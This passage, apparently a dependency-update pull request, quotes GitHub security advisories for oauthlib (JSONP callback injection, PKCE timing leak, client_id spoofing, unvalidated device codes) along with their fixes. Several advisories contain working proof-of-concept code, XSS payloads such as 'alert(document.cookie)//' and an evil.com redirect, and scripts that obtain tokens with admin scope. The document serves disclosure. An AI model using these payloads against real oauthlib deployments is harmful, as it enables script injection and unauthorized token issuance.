          \   response_body = '{}({});'.format(request.callback, response_body)\n\n#####
          Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n
          \   response_body = request.callback + '();'\n```\n\nThe `request.callback`
          value comes from HTTP request parameters, either the query string or POST
          body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which
          merges query and body parameters into `_params`. Any value the client sends
          as `callback` is used verbatim.\n\nThere is no validation of any kind on
          the callback parameter:\n- No check that it is a valid JavaScript identifier\n-
          No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe
          JSONP implementation must validate that the callback is a legal JavaScript
          function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this,
          the attacker controls the JavaScript code returned in the response body.
          This is the standard mitigation used by jQuery, Express.js, Google APIs,
          and other major JSONP implementations.\n\n**How the injection works:**\n\nAn
          attacker sends a revocation request with a crafted callback value:\n\n```\nPOST
          /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything&callback=alert(document.cookie)//\n```\n\nThe
          server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis
          is syntactically valid JavaScript. `alert(document.cookie)` executes as
          a statement, and `//` comments out the rest of the line. The attacker has
          full control over the code that appears before the `//`.\n\n**Execution
          context and attack surface:**\n\nJSONP works by having a browser load a
          remote script via `<script src=\"...\">`. The loaded script executes in
          the origin of the **including page**, not the remote server. This means
          a `<script src=\"https://auth.example.com/revoke?token=x&callback=payload\">`
          tag on `evil.com` would execute the payload in `evil.com`'s context, not
          the auth server's context.\n\nThe impact comes from client-side integrations
          that consume this endpoint as trusted JSONP. If a legitimate OAuth client
          includes `<script src>` pointed at the revocation endpoint and an attacker
          can influence the callback value (e.g., via query parameter injection, a
          reflected value, or a man-in-the-middle downgrade), the attacker controls
          what code runs in the client application's origin. The authorization server
          becomes a source of attacker-controlled JavaScript that client applications
          trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`,
          so only deployments that explicitly opt in are affected. However, this is
          a supported, documented library feature, not a debug flag. The client-side
          library includes `prepare_token_revocation_request()` with an explicit `callback`
          parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation
          shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`,
          lines 351-358). The existing test suite tests JSONP callback reflection
          with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does
          not test for injection. Deployments that enable JSONP typically do so to
          support older browsers or cross-origin revocation from JavaScript clients,
          these are exactly the environments most sensitive to script injection.\n\n#####
          PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install
          oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation
          import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator
          import RequestValidator\n\nclass FailValidator(RequestValidator):\n    \"\"\"Auth
          fails -> triggers error response path (lines 72-73).\"\"\"\n    def client_authentication_required(self,
          request, *a, **kw): return True\n    def authenticate_client(self, request,
          *a, **kw): return False\n    def authenticate_client_id(self, client_id,
          request, *a, **kw): return False\n\nclass PassValidator(RequestValidator):\n
          \   \"\"\"Auth passes -> triggers success response path (lines 81-82).\"\"\"\n
          \   def client_authentication_required(self, request, *a, **kw): return
          False\n    def authenticate_client_id(self, client_id, request, *a, **kw):
          return True\n    def revoke_token(self, token, token_type_hint, request,
          *a, **kw): pass\n\npayloads = [\n    \"alert(document.cookie)//\",\n    \"window.location='https://evil.com/'//\",\n
          \   \"eval('malicious')//\",\n]\n\n##### --- Error path (401) ---\nprint(\"Error
          path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(),
          enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_fail.create_revocation_response(\n
          \       \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n
          \   assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}]
          Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n#####
          --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True,
          revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(),
          enable_jsonp=True)\nfor p in payloads:\n    h, body, status = ep_pass.create_revocation_response(\n
          \       \"https://auth.example.com/revoke\", http_method=\"POST\",\n        body=f\"token=x&callback={p}\")\n
          \   assert p in body, \"Payload not reflected\"\n    print(f\"  [{status}]
          Content-Type: {h.get('Content-Type','(none)')}  Body: {body}\")\n\n#####
          --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False,
          default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_,
          body, status = ep_safe.create_revocation_response(\n    \"https://auth.example.com/revoke\",
          http_method=\"POST\",\n    body=\"token=x&callback=alert(1)//\")\nassert
          \"alert\" not in body, \"Payload should not be present\"\nprint(f\"  [{status}]
          {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError
          path (enable_jsonp=True, auth fails):\n  [401] Content-Type: application/json
          \ Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n  [401]
          Content-Type: application/json  Body: window.location='https://evil.com/'//({\"error\":
          \"invalid_client\"});\n  [401] Content-Type: application/json  Body: eval('malicious')//({\"error\":
          \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n
          \ [200] Content-Type: (none)  Body: alert(document.cookie)//();\n  [200]
          Content-Type: (none)  Body: window.location='https://evil.com/'//();\n  [200]
          Content-Type: (none)  Body: eval('malicious')//();\n\nControl (enable_jsonp=False,
          default):\n  [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth
          paths reflect the attacker's payload verbatim into the response body.\n\n#####
          Impact\n\nAny oauthlib-based authorization server that enables JSONP on
          the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled
          JavaScript in its response body.\n\nAny page or application that loads this
          endpoint's response as JSONP and exposes attacker influence over the `callback`
          parameter will execute attacker-controlled code in its own origin. If a
          legitimate OAuth client uses JSONP revocation (as documented by oauthlib's
          client-side API) and an attacker can influence the callback value, the attacker
          controls what code runs in the client application, including access to the
          client page's DOM and any data normally accessible to scripts running in
          that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser
          support. Deployments that need it are typically JavaScript-heavy clients,
          exactly the environment most sensitive to script injection.\n\n**Affected
          versions:** oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized
          callback has been present since the revocation endpoint was first introduced
          in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit
          `b85f89a`) but no validation of the callback value was ever added.\n\n#####
          Suggested fix\n\nValidate the `callback` parameter against a strict pattern
          for legal JavaScript identifiers before using it in the response. Reject
          or ignore values that do not match:\n\n```python\nimport re\n\n##### Only
          allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN
          = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')\n\n#####
          In create_revocation_response(), before using request.callback:\nif self.enable_jsonp
          and request.callback:\n    if not JSONP_CALLBACK_PATTERN.match(request.callback):\n
          \       request.callback = None\n```\n\nThis is the standard mitigation
          for JSONP callback injection and is the approach used by jQuery, Express.js,
          and Google APIs. It ensures only syntactically valid function names like
          `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs
          a secondary hardening measure, when JSONP is enabled, the response should
          set `Content-Type: application/javascript` (not `application/json` or empty)
          to ensure correct browser handling. Currently the success path returns no
          Content-Type at all, and the error path returns `application/json`.\n\nAlternatively,
          if JSONP is no longer considered a necessary feature, consider deprecating
          and removing the `enable_jsonp` option entirely. CORS is now supported by
          all modern browsers and is the standard mechanism for cross-origin API access.\n\n####
          Severity\n- CVSS Score: 6.1 / 10 (Medium)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v)\n-
          [https://github.com/oauthlib/oauthlib/pull/951](https://redirect.github.com/oauthlib/oauthlib/pull/951)\n-
          [https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c](https://redirect.github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-49264](https://nvd.nist.gov/vuln/detail/CVE-2026-49264)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml)\n-
          [https://github.com/advisories/GHSA-hj66-6f7g-4r5v](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-hj66-6f7g-4r5v)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Oauthlib: Timing Attack Vulnerability in PKCE code_verifier Comparison (CWE-208)\n[CVE-2026-49265](https://nvd.nist.gov/vuln/detail/CVE-2026-49265)
          / [GHSA-xpv3-w29h-x7cv](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nA timing side-channel
          vulnerability exists in the PKCE (RFC 7636) implementation \nof the Authorization
          Code Grant flow. The `code_challenge_method_plain` function \nuses Python's
          standard `==` operator for string comparison instead of a \nconstant-time
          comparison function, potentially allowing timing-based attacks.\n\n#####
          Affected Component\n\n- File: `oauthlib/oauth2/rfc6749/grant_types/authorization_code.py`\n-
          Functions: `code_challenge_method_plain`, `code_challenge_method_s256`\n-
          Vulnerability Type: CWE-208 (Observable Timing Discrepancy)\n\n##### Technical
          Details\n\nPython's `==` operator uses short-circuit evaluation when comparing
          strings:\n1. Returns `False` immediately if lengths differ\n2. Compares
          characters left-to-right, stopping at first mismatch\n\nThis means comparison
          time varies linearly with the length of the common prefix \nbetween the
          attacker-supplied verifier and the stored challenge, creating a \nmeasurable
          timing oracle.\n\n##### Proof of Concept\n\nTested locally against oauthlib
          source (network jitter eliminated to isolate \npure Python execution time):\n\n|
          Input | Result | Time (10M iterations) |\n|---|---|---|\n| Wrong first char
          (`B` + `A`*49) | Fast reject | 0.34106s |\n| 49 chars correct (`A`*49 +
          `B`) | Deep compare | 0.37847s |\n| **Difference** | | **0.03741s** |\n\nThe
          ~37ms delta over 10M iterations corresponds to nanosecond-level differences
          \nper call, which are statistically exploitable under controlled conditions.\n\n#####
          Attack Scenario\n\n1. Attacker intercepts `authorization_code` via Custom
          URI Scheme Hijacking\n2. PKCE blocks token request \u2014 attacker lacks
          `code_verifier`\n3. Attacker sends repeated requests to `/token` endpoint
          measuring response times\n4. Using timing oracle, attacker recovers `code_verifier`
          character by character\n5. Attacker obtains Access Token \u2192 Account
          Takeover\n\n> **Note:** Practical exploitability is limited due to the single-use
          nature of \n> authorization codes and real-world network noise. However,
          the vulnerable \n> pattern should be corrected as a defense-in-depth measure.\n\n#####
          Recommended Fix\n\nReplace `==` with `hmac.compare_digest()` for constant-time
          comparison:\n\ncr: Elvin Latifli\n\n#### Severity\n- CVSS Score: 6.8 / 10
          (Medium)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-xpv3-w29h-x7cv)\n-
          [https://github.com/oauthlib/oauthlib/pull/963](https://redirect.github.com/oauthlib/oauthlib/pull/963)\n-
          [https://github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950](https://redirect.github.com/oauthlib/oauthlib/commit/40b0ab56da3682c2484a4b78bbff309f8025d950)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-49265](https://nvd.nist.gov/vuln/detail/CVE-2026-49265)\n-
          [https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4114.yaml)\n-
          [https://github.com/advisories/GHSA-xpv3-w29h-x7cv](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-xpv3-w29h-x7cv)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          OAuthLib: Token grants can use attacker-supplied client_id for authorization
          after authenticating a different client\n[CVE-2026-118669](https://nvd.nist.gov/vuln/detail/CVE-2026-118669)
          / [GHSA-7984-qgvg-3j9c](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\n\nOAuthlib's token
          grant handlers can authenticate one client while authorizing the grant type
          and requested scopes using a different, attacker-supplied `client_id` from
          the request body.\n\nIn affected token grant flows, `authenticate_client(request)`
          sets `request.client` to the authenticated client object, but OAuthlib does
          not require `request.client_id` to match `request.client.client_id`. If
          the request body already contains `client_id=...`, OAuthlib keeps that value
          and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs
          a result, an authenticated low-privilege confidential client can authenticate
          as itself, submit another client's `client_id` in the token request body,
          and cause grant and scope validation to run under that other client identity.\n\n#####
          Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint
          handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password
          Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n-
          the attacker has credentials for one valid lower-privilege confidential
          client;\n- another client has broader grants or scopes;\n- the application
          validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()`
          or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments
          whose validators ignore the `client_id` argument and authorize only from
          `request.client` may not be affected.\n\n##### Details\n\n`Request` parses
          query and body parameters into request attributes, including `client_id`:\n\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe
          `RequestValidator.authenticate_client()` contract requires the integrator
          to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor
          the `client_credentials` grant, OAuthlib authenticates the client, verifies
          that `request.client` has a `client_id`, then performs grant and scope validation
          before normalizing `request.client_id` from `request.client.client_id`:\n\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe
          problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n
          \   ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id
          = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause
          OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied
          body value such as `client_id=high` survives even when `request.client.client_id
          == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`,
          while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id,
          request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n-
          `validate_scopes(request.client_id, request.scopes, request.client, request)`:
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe
          same identity split exists in the Resource Owner Password Credentials flow.
          After client authentication and user validation, OAuthlib validates the
          grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n-
          https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis
          creates an inconsistent identity state:\n\n```text\nrequest.client.client_id
          == \"low\"   # authenticated client\nrequest.client_id == \"high\"         #
          attacker-supplied request parameter\n```\n\nOAuthlib then calls application
          authorization hooks with both values, but uses the attacker-controlled `request.client_id`
          as the first-class `client_id` argument.\n\n##### Impact\n\nAn authenticated
          lower-privilege confidential client can obtain tokens authorized under another
          client's grant and scope policy if the application's validator follows the
          `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete
          impact can include:\n\n- issuing access tokens with scopes not assigned
          to the authenticated client;\n- allowing a low-privilege client to use a
          grant type reserved for a higher-privilege client;\n- persisting tokens
          under a spoofed `client_id` while the authenticated client object is different.\n\nThis
          is a token authorization bypass, not an unauthenticated attack. The attacker
          needs valid credentials for one client.\n\n##### PoC\n\nCreate the following
          files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport
          base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n
          \   ClientCredentialsGrant,\n    RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n
          \   TokenEndpoint,\n)\n\nclass Client:\n    def __init__(self, client_id):\n
          \       self.client_id = client_id\n\nCLIENTS = {\n    \"low\": {\n        \"secret\":
          \"low-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n
          \       \"scopes\": {\"read\"},\n    },\n    \"high\": {\n        \"secret\":
          \"high-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n
          \       \"scopes\": {\"read\", \"admin\"},\n    },\n}\n\nclass DemoValidator(RequestValidator):\n
          \   def __init__(self):\n        self.saved_tokens = []\n\n    def authenticate_client(self,
          request, *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\",
          \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n
          \           return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n
          \       client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n
          \       if record is None or record[\"secret\"] != secret:\n            return
          False\n\n        # This is the authenticated client identity.\n        request.client
          = Client(client_id)\n        return True\n\n    def client_authentication_required(self,
          request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self,
          client_id, grant_type, client, request, *args, **kwargs):\n        record
          = CLIENTS.get(client_id)\n        return record is not None and grant_type
          in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes,
          client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n
          \       return record is not None and set(scopes or []) <= record[\"scopes\"]\n\n
          \   def get_default_scopes(self, client_id, request, *args, **kwargs):\n
          \       return []\n\n    def validate_user(self, username, password, client,
          request, *args, **kwargs):\n        if username == \"alice\" and password
          == \"wonderland\":\n            request.user = username\n            return
          True\n        return False\n\n    def save_bearer_token(self, token, request,
          *args, **kwargs):\n        self.saved_tokens.append({\n            \"token\":
          dict(token),\n            \"authenticated_client_id\": request.client.client_id,\n
          \           \"request_client_id\": request.client_id,\n            \"scopes\":
          list(request.scopes or []),\n        })\n\nvalidator = DemoValidator()\ntoken
          = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n
          \   default_token_type=token,\n    grant_types={\n        \"client_credentials\":
          ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n
          \   },\n)\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n
          \   return {\"Authorization\": f\"Basic {value}\"}\n\ndef token_request(body):\n
          \   _headers, response_body, status = endpoint.create_token_response(\n
          \       \"https://auth.example/token\",\n        body=body,\n        headers=low_client_headers(),\n
          \   )\n    return status, json.loads(response_body)\n\ndef assert_rejected(label,
          body):\n    status, response = token_request(body)\n    print(label, status,
          response)\n    if status == 200:\n        raise SystemExit(f\"{label}: expected
          rejection, got success\")\n\ndef assert_spoofed_success(label, body):\n
          \   status, response = token_request(body)\n    print(label, status, response)\n
          \   if status != 200:\n        raise SystemExit(f\"{label}: expected token,
          got {status} {response}\")\n    if response.get(\"scope\") != \"admin\":\n
          \       raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n
          \   saved = validator.saved_tokens[-1]\n    if saved[\"authenticated_client_id\"]
          != \"low\":\n        raise SystemExit(f\"{label}: authenticated client changed
          unexpectedly: {saved}\")\n    if saved[\"request_client_id\"] != \"high\":\n
          \       raise SystemExit(f\"{label}: spoofed request client_id was not preserved:
          {saved}\")\n\nassert_rejected(\n    \"control client_credentials as low
          requesting admin\",\n    \"grant_type=client_credentials&client_id=low&scope=admin\",\n)\nassert_spoofed_success(\n
          \   \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials&client_id=high&scope=admin\",\n)\n\nassert_rejected(\n
          \   \"control password as low requesting admin\",\n    \"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin\",\n)\nassert_spoofed_success(\n
          \   \"spoofed password as low with client_id=high\",\n    \"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens,
          indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n.
          .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected
          result:\n\n```text\ncontrol client_credentials as low requesting admin 400
          {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high
          200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer',
          'scope': 'admin'}\ncontrol password as low requesting admin 400 {'error':
          'invalid_scope'}\nspoofed password as low with client_id=high 200 {'access_token':
          '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token':
          '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition
          is that both successful token responses are produced while the saved token
          state shows:\n\n```json\n{\n  \"authenticated_client_id\": \"low\",\n  \"request_client_id\":
          \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the
          authenticated client is `low`, while grant and scope authorization used
          the attacker-supplied `client_id=high`.\n\n##### Suggested Remediation\n\nAfter
          client authentication succeeds, OAuthlib should reject a token request if
          an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor
          authenticated confidential-client flows, a safer invariant is:\n\n```python\nif
          request.client is not None:\n    if request.client_id is not None and request.client_id
          != request.client.client_id:\n        raise InvalidClientError(...)\n    request.client_id
          = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()`
          and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au
          (Liyi), https://lzhou1110.github.io/\n- ziyue0530@&#8203;gmail.com (Ziyue),
          https://zyy0530.github.io/\n- cshe0476@&#8203;uni.sydney.edu.au (Strick),
          https://str1ckl4nd.github.io/\n- chng0012@&#8203;uni.sydney.edu.au (Maurice),
          http://maurice.busystar.org/\n- cyu210608@&#8203;gmail.com (Chenchen), https://7thparkk.github.io/\n\n####
          Severity\n- CVSS Score: 8.4 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-118669](https://nvd.nist.gov/vuln/detail/CVE-2026-118669)\n-
          [https://github.com/oauthlib/oauthlib/pull/920](https://redirect.github.com/oauthlib/oauthlib/pull/920)\n-
          [https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d](https://redirect.github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d)\n-
          [https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.0)\n-
          [https://github.com/advisories/GHSA-7984-qgvg-3j9c](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7984-qgvg-3j9c)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          OAuthLib: Bearer token can be retrieved as long as client knows a valid
          client ID for device workflow\n[CVE-2026-49272](https://nvd.nist.gov/vuln/detail/CVE-2026-49272)
          / [GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)\n\n<details>\n<summary>More
          information</summary>\n\n#### Details\n##### Summary\nA call to the token
          endpoint with a grant type of `\"urn:ietf:params:oauth:grant-type:device_code\"`
          and a bogus `device_code` is able to get a bearer token as long as they
          know a valid client ID enabled for the device workflow.\n\n##### Details\n\n[Section
          3.4 of the RFC 8628 spec](https://datatracker.ietf.org/doc/html/rfc8628#section-3.4)
          says that the token endpoint should take in `device_code` as a required
          parameter.`DeviceCodeGrant.validate_token_request` does not perform any
          validation of `device_code`. `DeviceCodeGrant.validate_token_request` should
          be validating that `device_code` was passed in as a parameter and that it
          is valid, similar to how `AuthorizationCodeGrant.validate_token_request`
          does the checks [here](https://redirect.github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L446)
          and [here](https://redirect.github.com/oauthlib/oauthlib/blob/a015b446622f2b925517501fe484c10eff7a83c0/oauthlib/oauth2/rfc6749/grant_types/authorization_code.py#L483).\n\nI
          would like to propose a new method be added to `RequestValidator` called
          `validate_device_code` that is similar to the `validate_code` method and
          is called inside of `DeviceCodeGrant.validate_token_request`.\n\n##### PoC\nCreate
          an implementation of `RequestValidation.authenticate_client` that returns
          `True` if the client's `client_type` is `\"public\"`. You would find yourself
          in this scenario because there's another issue with `DeviceCodeGrant.validate_token_request`
          where it doesn't properly handle public clients (see [https://github.com/oauthlib/oauthlib/issues/919](https://redirect.github.com/oauthlib/oauthlib/issues/919)).\n\nCreate
          a client that has a `client_type` of `\"public\"` and set it's `grant_type`
          to `\"urn:ietf:params:oauth:grant-type:device_code\"`.\n\nWith this implementation
          of `RequestValidation.authenticate_client` done, use that validator for
          your token endpoint. Call the token endpoint with a body of \n```\n{\n  \"client_id\":
          <ID of the public client you made>,\n  \"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",\n
          \ \"device_code\": <anything you want since it's not validated>\n}\n```\n\nYou
          now have a bearer token for the client without a valid `device_code`.\n\n#####
          Impact\nAnyone using the RFC 8628 device workflow in oauthlib that doesn't
          realize the `device_code` parameter is not being validated.\n\n#### Severity\n-
          CVSS Score: 8.5 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N`\n\n####
          References\n- [https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc)\n-
          [https://github.com/oauthlib/oauthlib/pull/954](https://redirect.github.com/oauthlib/oauthlib/pull/954)\n-
          [https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114](https://redirect.github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114)\n-
          [https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.1)\n-
          [https://github.com/advisories/GHSA-3jp2-3mrg-2vxc](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)\n\nThis
          data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-3jp2-3mrg-2vxc)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>oauthlib/oauthlib (oauthlib)</summary>\n\n###
          [`v4.0.1`](https://redirect.github.com/oauthlib/oauthlib/releases/tag/v4.0.1):
          4.0.1\n\n[Compare Source](https://redirect.github.com/oauthlib/oauthlib/compare/v4.0.0...v4.0.1)\n\n####
          Security\n\n- **CVE-2026-49272** / GHSA-3jp2-3mrg-2vxc: The device code
          flow token endpoint did not validate the `device_code` parameter. A request
          with a known `client_id` and a bogus `device_code` could obtain a bearer
          token. `DeviceCodeGrant.validate_token_request` now calls `DeviceCodeGrant.validate_device_code()`,
          which rejects missing or unknown device codes (`invalid_request` / `invalid_grant`)
          and delegates the code's authorization status to the new `RequestValidator.validate_device_code()`
          hook, per RFC 8628 Section 3.5. (cherry-picked from [#&#8203;954](https://redirect.github.com/oauthlib/oauthlib/issues/954))\n\n####
          Upgrade note for device flow integrators\n\nCustom `RequestValidator` implementations
          using the device flow must now implement `validate_device_code(client_id,
          code, request)`. Return one of the `DeviceCodeGrant.DEVICE_CODE_*` statuses
          for known codes, or `None` for an unknown code. When returning `AUTHORIZED`,
